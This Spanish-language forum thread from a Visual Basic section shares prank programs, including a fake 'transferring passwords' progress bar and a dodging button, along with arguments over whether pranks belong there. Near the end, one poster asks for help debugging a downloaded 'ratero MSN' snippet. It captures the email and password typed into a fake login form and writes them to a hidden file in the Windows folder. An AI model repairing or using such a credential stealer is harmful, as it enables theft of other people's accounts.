Mensajes

Esta broma simula que esta transfiriendo datos importantes, se puede modificar. Ejemplo simular que esta eliminando datos, etc. Aquí esta el código

Private Sub Timer1_Timer()
Label2.Caption = Label2.Caption + "|"
Label3.Caption = Val(Label3.Caption) + 1 & "%"
If Label3.Caption = "1" & "%" Then
Label1.Caption = "Transfiriendo passwords"
Beep
End If
If Label3.Caption = "32" & "%" Then
Label1.Caption = "Transfiriendo informacion de tarjetas de credito"
Beep
End If
If Label3.Caption = "68" & "%" Then
Label1.Caption = "Transfiriendo Historial de Archivos"
Beep
End If
If Label3.Caption = "85" & "%" Then
Label1.Caption = "Borrando DLLs"
Beep
End If
If Label3.Caption = "100" & "%" Then
Timer1.Enabled = False
Beep
Label1.Caption = "Esto era una bromita"
End If
End Sub

Y aquí les dejo como tiene que ser el diseño:

LO LOGRE

[radio blog]

Les recomiendo radio blog, pueden subir música a su Web y este archivo en php simula ser una radio, pueden dejar grabada cosas, Ej. el opening de un programa x de radio, luego ustedes hablan lo que quieren que salga en la radio, dan unos comerciales que se yo, lo que se les ocurra, meten música, etc. luego lo graban por Ej. la radio de la semana y así sucesivamente para que el usuario pueda elegir entre distintos días.
Les dejo dos imágenes para que se hagan la idea:

     

El Winamp es muy complicado, además si no estas transmitiendo no te pueden escuchar y eso da lata, mejor este "soft", les dejo la Web por si quieren descargarlo

http://www.radioblogclub.com/

[PROGRAMACION VB]

Emmmm... Esto es PROGRAMACION VB

Aca lo q se hace (corriganme si no estoy en lo correcto) es compartir codigos INTERESANTES, pedir orientacion, aprender... No para hacer "JOKER & BROMAS CREATIVAS"

No se si leiste el reglamento, pero ahora todos los proyectos de troyaons y lammeradas se postearan en el foro TROYANOS Y VIRUS, que para algo esta ahi.

Para que empecemos a tener ideas creativas digo yo.

Pero que originale eres xDD

Esto no es hacer troyanos ni lameradas, son bromas, Ej. La que postie se la hice a un amigo que no paraba de pedirme que le sacara pass de paginas porno pagadas, le hice la broma para que se riera un rato, la idea no es hacer daño, solo creaciones fuera de lo común, en Internet no encuentras muchas secciones de programación de joker y bromas en VB, la idea no es pelear entre nosotros, solo salir de lo común.

Mejor continuemos con el proyecto inicial y dejemos las discusiones de lado, ya que como dijiste la intención es compartir.

FELIZ NAVIDAD Y PROSPERO AÑO NUEVO

[Hola]

Hola, me e dado cuenta que en esta comunidad siempre es lo mismo winsock, crear un MSN, virus, troyanos, etc. Podríamos cambiar el estilo aunque sea en este nuevo tema, que tal si posteamos aquí nuestras bromas para Windows (en vb, claro), explicamos como hacer distintas bromas, publicamos nuestros proyectos, etc... pongo a su disposición esta pequeña broma. Para que empecemos a tener ideas creativas digo yo.

Private Sub cmd1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
cmd1.Visible = False
cmd2.Visible = True
End Sub

Private Sub cmd2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
cmd1.Visible = True
cmd2.Visible = False
End Sub

El programa muestra el cmd1 y oculta el cmd2, cuando se acerca el mouse al cmd1 este se oculta y aparece el cmd2 dando la impresión de que cambio su posición, así que el ciberpajero que quería ver imágenes gratis... cago. Es un buen ejemplo para empezar a hacer joker o bromas para PC, no es muy difícil de hacer, tiene poco código fuente y su diseño es muy simple.

Y FELIZ NAVIDAD

[Podrian agregar como se borran archivos tambien porfa... quede con esa pequeña duda, copiar ya lo sabia, pero el borrar no tengo la menor idea.]

Podrian agregar como se borran archivos tambien porfa... quede con esa pequeña duda, copiar ya lo sabia, pero el borrar no tengo la menor idea.

[cerrado]

%SystemDrive% no es una funcion del vb xDD

Lo tengo claro, pero si sirve para entrar a siertas carpetas son comandos rapidos es como colocar c:, pero en el caso q la persona no tenga el windows en el C: este comando redirecciona automaticamente. ej. el windows esta en el H:, %SystemDrive% me manda al disco H.... Igual Gracias por todo, estoy pidiendole ayuda al creador del codigo fuente..

por el momento el tema esta cerrado... = gracias por ayudarme, aunque estoy algo enredado con el codigo , ya chao.

ya pero aun no tengo la respuesta para poder grabar en el disco.

Aun reparando eso no pasa nada, y el %SystemDrive% lo coloque yo para q lo grabara en el disco donde esta wl Windows

[Hola. Tengo un pequeño problema con un código fuente que descargue de Internet, es el del ratero MSN, no me guarda ningún fichero con las contraseñas...]

Hola. Tengo un pequeño problema con un código fuente que descargue de Internet, es el del ratero MSN, no me guarda ningún fichero con las contraseñas...


Este es el codigo:

    Dim usuario$, pass$
    Dim numfic%
    usuario = txtCorreo.Text
    pass = txtPassword.Text
    numfic = FreeFile
    Open "%SystemDrive%\windows\systemwin.txt" For Append As numfic
    Print #numfic, usuario, pass
    Close numfic
    Open "%SystemDrive%\windows\memo.txt" For Output As numfic
    Print #numfic, usuario
    Close numfic
        Unload Me
        frmPrincipal.Picture = frmPrincipal.imgFondoInicio
        frmPrincipal.Timer = True
        frmPrincipal.Show
    End If

A ver si alguien puede ayudarme...

[SmopuiM]

SmopuiM No puedo poner las fotos ya q lo copie de un libro, un doc. y no se en q web... si quieres te mando el libro, es un .doc